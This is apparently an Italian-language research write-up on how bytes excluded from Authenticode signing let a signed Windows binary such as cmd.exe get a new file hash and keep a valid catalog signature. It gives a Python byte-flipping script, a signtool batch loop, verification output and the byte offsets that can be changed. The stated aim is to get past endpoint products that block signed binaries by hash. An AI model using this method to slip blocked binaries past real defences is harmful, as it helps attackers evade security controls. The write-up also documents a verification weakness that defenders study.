
Modifica i binari Windows firmati per mantenere firme di catalogo valide modificando al contempo gli hash dei file, aggirando i blocchi degli endpoint basati su hash ed esponendo le lacune della verifica Authenticode.
L'idea era di bypassare le soluzioni endpoint che bloccano applicazioni firmate note come "maligne" come "regsvr32.exe". Volevo trovare un modo per ottenere un file firmato valido con un hash diverso.
Utilizzando signtool verify /v /a cmd.exe
C:\signcheck>signtool verify /a /v cmd.exe
Verifying: cmd.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
Signing Certificate Chain:
Issued to: Microsoft Root Certificate Authority
Issued by: Microsoft Root Certificate Authority
Expires: Sun May 09 19:28:13 2021
SHA1 hash: CDD4EEAE6000AC7F40C3802C171E30148030C072
Pensavo che l'"Hash of file" fosse lo SHA1 di cmd.exe in base all'output (7EB22CBAA74B208DF433C70C06A99280036A52F3)
Un controllo ulteriore ha rivelato che lo SHA1 del file cmd.exe era
$ sha1sum.exe cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
Interessante: stesso file, 2 hash diversi.
A questo punto ho sospettato che la firma potesse non includere tutte le sezioni del file.
Ho scritto un semplice script Python per generare file di test.
import sys
orig = list(open(sys.argv[1], "rb").read())
i = 0
while i < len(orig):
current = list(orig)
current[i] = chr(ord(current[i]) ^ 0xde)
path = "%d.exe" % i
output = "".join(str(e) for e in current)
open(path, "wb").write(output)
i += 1
print "done"
python generate.py cmd.exe è stato poi eseguito e ha generato più di 300 Gb di nuovi file.
Ora dobbiamo validare ciascun file creato per vedere se supera il test della firma.
Un semplice file batch può fare ciò
FOR /L %%A IN (1,1,10000) DO (
signtool verify /v /a %%A.exe
)
Il binario 330.exe ha superato il controllo della firma. In questo caso il file è diverso poiché l'offset 330 è stato modificato.
C:\signcheck>signtool verify /a /v 330.exe
Verifying: 330.exe
File is signed in catalog: C:\windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
00C04FC295EE}\Microsoft-Windows-Foundation-Package~31bf3856ad364e35~amd64~~6.1.7
601.17514.cat
Hash of file (sha1): 7EB22CBAA74B208DF433C70C06A99280036A52F3
$ sha1sum.exe 330.exe
4c05efb9d67291febe44f8c661db55a1ec06bc41 *330.exe
$ sha1sum cmd.exe
0f3c4ff28f354aede202d54e9d1c5529a3bf87d8 *cmd.exe
I seguenti byte possono essere modificati senza invalidare la firma:
330, 331, 408 - 412
I seguenti byte possono essere modificati senza invalidare la firma:
320 - 323, 400 - 407
I seguenti byte possono essere modificati senza invalidare la firma:
216 - 219